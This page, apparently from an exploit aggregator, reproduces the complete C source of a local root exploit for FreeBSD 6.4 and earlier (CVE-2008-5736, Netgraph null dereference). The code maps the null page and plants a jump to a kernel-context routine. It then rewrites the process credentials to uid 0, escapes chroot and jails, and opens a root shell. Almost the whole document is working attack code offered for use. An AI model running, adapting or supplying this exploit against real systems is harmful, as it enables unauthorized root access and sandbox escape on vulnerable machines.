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Edit Report

Our sensors found this exploit at: http://cxsecurity.com/ascii/WLB-2011030152

Below is a copy:

/*
 * FreeBSD <= 6.4-RELEASE Netgraph Exploit
 * by zx2c4
 * 
 * 
 * This is an exploit for CVE-2008-5736, the FreeBSD protosw
 * and loosely based on Don Bailey's 2008 exploit -
 * http://www.exploit-db.com/exploits/7581/ . The thing with
 * Don's exploit is that it relies on having a known location
 * of allproc, which means having access to the kernel or
 * debugging symbols, either of which might not be available.
 * Initial attempts included a general memory search for some
 * characteristics of allproc, but this was difficult to make
 * reliable. This solution here is a much more standard - get
 * the current thread, change its permissions, and execl to
 * shell. Additionally, it breaks out of chroots and freebsd
 * jails by reparenting to pid 1 and copying its fds.
 *
 * This reliably works on kernels on or below 6.4-RELEASE:
 *
 * $ gcc a.c
 * $ ./a.out
 * ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~
 * ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~
 * ~~~~~ greetz to don bailey, edemveiss ~~~~~
 *
 * [+] mmapping null page
 * [+] adding jmp to pwnage in null page
 * [+] opening netgraph socket
 * [+] triggering null dereference
 * [+] elevating permissions
 * [+] got root!
 * #
 *
 * It's an oldie, but simple enough that someone needed
 * to write another PoC exploit at some point.
 *
 * cheers,
 * zx2c4, 27-2-2011
 *
 */

#define _KERNEL
#include <sys/types.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/ucred.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/filedesc.h>
#include <sys/queue.h>
#include <netgraph/ng_socket.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

#define PAGES 1


volatile int got_root = 0;
int root(void)
{
struct thread *thread;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_critnest = 0;
thread->td_proc->p_ucred->cr_uid = 0;
thread->td_proc->p_ucred->cr_prison = NULL;

struct proc *parent = thread->td_proc;
while (parent->p_pptr && parent->p_pid != 1)
parent = parent->p_pptr;
thread->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;
thread->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;
thread->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;
thread->td_proc->p_pptr = parent;

got_root = 1;
return 0;
}

int main(int argc, char *argv[])
{
printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n");
printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n");
printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n");

printf("[+] mmapping null page\n");
if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
perror("[-] mmap failed");
return -1;
}

printf("[+] adding jmp to pwnage in null page\n");
*(char*)0x0 = 0x90;
*(char*)0x1 = 0xe9;
*(unsigned long*)0x2 = (unsigned long)&root;

printf("[+] opening netgraph socket\n");
int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);
if (s < 0) {
perror("[-] failed to open netgraph socket");
return -1;
}

printf("[+] triggering null dereference\n");
shutdown(s, SHUT_RDWR);

if (!got_root) {
printf("[-] failed to trigger pwnage\n");
return -1;
}

printf("[+] elevating permissions\n");
setuid(0);
setgid(0);
if (getuid() != 0) {
printf("[-] failed to get root\n");
return -1;
}

printf("[+] got root!\n");
execl("/bin/sh", "sh", NULL);

return 0;
}

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